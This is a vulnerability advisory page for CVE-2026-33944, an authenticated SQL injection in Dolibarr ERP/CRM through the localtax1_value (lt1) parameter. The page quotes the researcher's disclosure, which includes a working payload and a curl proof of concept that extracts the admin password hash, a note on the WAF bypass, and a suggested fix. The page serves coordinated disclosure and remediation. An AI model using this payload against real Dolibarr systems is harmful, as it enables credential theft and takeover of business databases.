HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 33944 dolibarr has sql injection in
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 8.8CVE-2026-33944GHSA-V5FQ-CF5M-VWV7

Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameterCVE-2026-33944

Answer in brief

CVE-2026-33944 records a High severity (CVSS 8.8) vulnerability in Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter. The current sources do not mark it as known exploited. The current feed maps dolibarr/dolibarr (composer), dolibarr/dolibarr (composer), dolibarr/dolibarr (packagist). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Oct 27, 2026Updated Oct 27, 2026Source checked Oct 27, 2026First seen by HOL Oct 27, 2026Material review Oct 27, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 8.8
Exploitation
Not marked as known exploited
Affected software
3 mapped packages or products
Fix availability
Not reported

Why this deserves its current priority

CVSS is 8.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps dolibarr/dolibarr (composer), dolibarr/dolibarr (composer), dolibarr/dolibarr (packagist). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
dolibarr/dolibarrcomposer<=23.0.0Not reported
dolibarr/dolibarrcomposer<=23.0.0Not reported
dolibarr/dolibarrpackagist>=0Not reported

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for dolibarr/dolibarr, dolibarr/dolibarr, dolibarr/dolibarr.
  2. 2Review the reported fix. Monitor this advisory for an available fix and review any installs of the affected package.

Evidence timeline and material changes

  1. Published upstream

    Oct 27, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 27, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 27, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • Source referencesec4check.pl
  • GitHub security advisorygithub.com
Upstream source description

### Summary A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The `localtax1_value` parameter (`lt1`) is concatenated directly into an SQL UPDATE statement in `societe/class/societe.class.php` at line 1672 without any escaping, type casting, or parameterized query binding. An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data. Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration. ### Details **Vulnerable code** (`societe/class/societe.class.php`, line 1672): ```php $sql .= ",localtax1_value =".$this->localtax1_value; ``` The value comes from `GETPOST('lt1', 'alpha')` (`societe/card.php`, line 1135). The only sanitization applied is `trim()` at line 1528 — no `(float)` cast, no `$db->escape()`. The `alpha` input filter strips HTML tags and double quotes but does **not** strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters. **Why the WAF does not block this:** Dolibarr's WAF (`waf.inc.php`) only checks SQL injection patterns in **GET** parameters, not POST. The POST-based `lt1` parameter bypasses it entirely. **The same vulnerability exists** for `localtax2_value` (parameter `lt2`) at line 1682. Adjacent fields like `localtax1_assuj` are properly cast to `(int)`, showing the developers were aware of injection risk but missed these fields. ### PoC **Steps to reproduce:** 1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11) 2. Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin) 3. Create or open any existing Third Party (company) record 4. Click "Edit" on the company card to open the update form 5. Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body: - `localtax1assuj_value=1` - `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)` 6. Submit the form (server responds with HTTP 302 Found — successful update) 7. Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field **Verification:** `echo -n "admin123" | md5sum` → `0192023a7bbd73250516f069df18b500` (matches exfiltrated hash). **Figure 1 — Notes tab before exploitation (Private Note field is empty):** <img width="1372" height="822" alt="Notes tab after exploitation — admin password hash exfiltrated" src="https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841" /> **Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:** <img width="1095" height="732" alt="22" src="https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899" /> **Figure 3 — Burp Suite Repeater: request body with injected `localtax1assuj_value=1` and `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`:** <img width="1095" height="727" alt="33" src="https://github.com/user-attachments/assets/e82e14fc-d8b4-46e7-a507-d11689e254d3" /> **Figure 4 — Notes tab after exploitation: Private Note now contains `0192023a7bbd73250516f069df18b500` (MD5 hash of admin password "admin123"):** <img width="1381" height="819" alt="1" src="https://github.com/user-attachments/assets/ca77a120-21b9-4574-b37f-4347930f27aa" /> **curl PoC:** ```bash curl -b cookies.txt \ --data-urlencode "action=update" \ --data-urlencode "token=CSRF_TOKEN" \ --data-urlencode "socid=1" \ --data-urlencode "name=TestCompany" \ --data-urlencode "status=1" \ --data-urlencode "localtax1assuj_value=1" \ --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \ --data-urlencode "client=1" \ --data-urlencode "typent_id=0" \ "http://TARGET/societe/card.php?socid=1" ``` **Additional proof — arithmetic evaluation:** Sending `lt1=3+4` results in `localtax1_value=7.0000` stored in the database. The expression was evaluated by the SQL engine, confirming injection. **Additional proof — user count exfiltration:** Sending `lt1=(SELECT COUNT(*) FROM llx_user)` results in `localtax1_value=1.0000`. ### Impact An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can: - **Read** any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details) - **Modify** any database record via additional SET clauses in the UPDATE injection - **Escalate** to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default) - **Potentially achieve RCE** via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation ### Suggested Fix ```php // societe.class.php, line 1528 — add (float) cast: $this->localtax1_value = (float) price2num(trim($this->localtax1_value)); // societe.class.php, line 1672 — add (float) cast: $sql .= ",localtax1_value =".((float) $this->localtax1_value); ``` Apply same fix for `localtax2_value` (lines 1529, 1682). ### Credit Please credit this finding to: **Grzegorz Tworek (F3715H) sec4check** ([email protected]) ### References A detailed write-up will be published after patch release at: https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html We kindly request including this URL in the CVE references.

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
SQL Injection
EPSS
Not reported
CWE IDs
CWE-89
Source
GitHub Security Advisories
Source checked
Oct 27, 2026
References
4 linked sources
Open source record